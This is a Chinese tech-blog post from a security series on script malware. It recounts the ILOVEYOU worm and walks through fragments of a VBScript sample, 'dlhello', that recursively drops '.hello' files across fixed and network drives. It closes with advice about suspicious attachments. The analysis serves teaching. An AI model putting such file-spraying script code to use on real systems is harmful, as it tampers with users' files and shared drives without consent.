iT邦幫忙

2017 iT 邦幫忙鐵人賽
DAY 14
1
Security

資事體大 毒擋一面 - 資安防護深入淺出系列 第 14

[Day14] 行為分析 - 不是腳本的腳本!Script語言惡意軟體

眾所皆知,惡意軟體可能由各種不同的語言編寫,例如:C、C++、Java 等等。

覺得 C、C++、Java 太難了?!沒關係,照過來照過來。 這邊有一簡單易懂的語言程式,現在只要點進來就能了解到底多簡單以及到底是如何用在惡意軟體上的!

(小編聲明:本篇文章絕無教人進行駭客行為,一切純屬學術討論)

說到Script,第一個想到的便是電影腳本,也就是拍攝戲劇或電影時,演員依據其對白演出的文件。但是本文章提到的的腳本並不是電影腳本,而是程式腳本。Script language(腳本語言)是個文字式(text-based)的語言,本身是為了縮短傳統的「編寫、編譯、連結、執行」(edit-compile-link-run)過程而建立的電腦語言,以簡單的方式快速完成某些複雜的事情通常是腳本語言的重要原則。基於這項原則,使得腳本語言通常比 C、C++ 或 Java 之類的要簡單容易,也讓腳本語言另有一些屬於腳本語言的特性。

腳本語言的特性

  • 語法和結構通常比較簡單
  • 學習和使用通常比較簡單
  • 通常以容易修改程式的「直譯」作為執行方式,而不需要「編譯」
  • 程式的開發產能優於執行效能

常見的腳本語言有以下幾種

  • C Shell
  • Python
  • JavaScript
  • VBScript
  • Ruby
  • Perl
  • PHP

Script類型惡意軟體中最常使用為 VBS 以及 Javascript

不知道各位記不記得前面介紹過的 ILOVEYOU 蠕蟲,它便是個經典的VBS病毒。

如果點了這個檔案,BOOM!電腦中的音樂檔,多媒體檔以及其他許多檔案都變成這隻病毒了,接著它修改註冊表,令每次開機時都會自動執行這病毒。同時,它還能利用你的電子郵件向外傳播給你所認識的人,想想收到從老爸老媽,男(女)朋友那收到一個 ILOVEYOU 的郵件,你會不會打開?也因此造成 4500 萬使用者受害,造成數十億美元的損失。

在此,小編另外介紹一個更為簡單的 VBS malware。這支名叫 dlhello 的簡單 malware,為什麼不說他是病毒呢?因為實際上他沒什麼破壞/竊取行為,這只是由熱心人士寫出來示範關於 VBS 可能會藉由何種方法對電腦動手腳。

dlhello

首先,先創個 Scripting.FileSystemObject 物件,用來處理資料夾及檔案。

dim FSobj,orgMes,finalMes
set FSobj=CreateObject("Scripting.FileSystemObject")

接著找系統中的總 drive 數

dim drive,machine

set machine=FSobj.Drives 
for each drive in machine  
 	if (drive.DriveType=2)or(drive.DriveType=3) then 
 		indexFolders(drive.Path&"\") 
	end If 
next 
Number DriveType
0 Drive type cannot be determined
1 Removable Drive
2 Fixed Drive
3 Network
4 CD-ROM
5 RAM DisK

這表示它會針對固定式硬碟和網路磁碟機,找出這些硬碟機的位置(drive.path)。找出位置後要幹嘛呢?對惡意軟體來說除了做壞事也沒其他選項了。

如果找到的磁碟機是 2(Fixed Drive)或 3(Network)時,則會呼叫 indexFolder 的 sub function,找尋底下的子資料夾以及子資料夾中的所有檔案,根據每個檔案的名字創個 .hello 文件,並寫入變數 finalMes 的內容,程式碼如下:

sub indexFolders(location) 
	On Error Resume Next 
	dim specs,file,subFol,sayHello

	set specs=FSobj.GetFolder(location) 
	set subFol=specs.SubFolders 

	for each file in subFol 
                set sayHello = FSobj.CreateTextFile(file.Path&".hello", 2, True) 
		sayHello.write finalMes 
		sayHello.Close 
		writeData(file.Path) 
		indexFolders(file.Path) 
	next 
end sub 

而 finalMes 變數內容為:

orgMes="Hello! Don't be mad...I'm not a bad bug :) - by *|%|"
orgMes=replace(orgMes,chr(42),chr(68))  //chr(42) = '*',chr(68) = 'D'
orgMes=replace(orgMes,chr(124),chr(46))  //chr(124) = '|',chr(46) = '.'
finalMes=replace(orgMes,chr(37),chr(76)  //chr(37) = '%',chr(76) = 'L'

在這裡用了 3 個 replace 函式來替換原來的字元,可以得到 finalMes 變數為 "Hello! Don't be mad...I'm not a bad bug :) - by D.L.",到此整個程式流程結束,電腦中也多了一堆奇奇怪怪的 .hello 檔案!

小編也知道光用說明的真的十分無感,因此便發揮捨己為人、割肉為鷹、捨生取義、奮不顧身、我不入地獄誰入... punch<說重點。
對不起,因為字數還沒到文章又快結束了才偷灌個水retard
好的,請看下圖,便是上述所說的 dlhello 執行結果:
dropfile
明顯可以看到多了 test2.hello 文件(原始為test2資料夾),資料夾內的檔案也多了 QQ.hello 文件(原為 QQ 資料夾)、README FIRST.txt.hello 文件(原為README FIRST.txt)。

簡單的幾個指令,做出這麼多的東西,現在只是多新增檔案,並未對原始案作手腳,若是更複雜的指令呢?連加密檔案或竊取檔案都做得到!

VBS 語法雖然簡單明瞭,但正因為簡單易上手、所有人都能做,才更容易造成損失。事實上,現在的病毒有很大部分是由 Script 寫成便是這原因:簡單容易。為了防止自己電腦中毒,平時不亂點不明來源寄過來的檔案,若是由信任的人寄來,但是卻感到疑惑,不知道他是不是被感染後自動發出的(或許那人平常不會寄這種信件),先打電話確認無誤後才點開。如此可防範大部分的 Script 惡意軟體。

希望有興趣的讀者也能夠點個追蹤,有任何問題或有想多了解的地方也可以回覆在文章底下唷,謝謝你們XDDDD!

參考來源:
Love Bug: The Virus That Hit 50 Million People Turns 15 http://motherboard.vice.com/read/love-bug-the-virus-that-hit-50-million-people-turns-15
vx-archiv.at http://vx-archiv.at/viruses-vbs
Microsoft MSDN DriveType https://msdn.microsoft.com/en-us/library/office/gg264195.aspx


上一篇
[Day13] 行為分析 - 工欲善其事,必先利其器-分析工具簡介(後篇)
下一篇
[Day15] 行為分析-黑白難分,軟體也分顏色-灰色軟體
系列文
資事體大 毒擋一面 - 資安防護深入淺出31

尚未有邦友留言

立即登入留言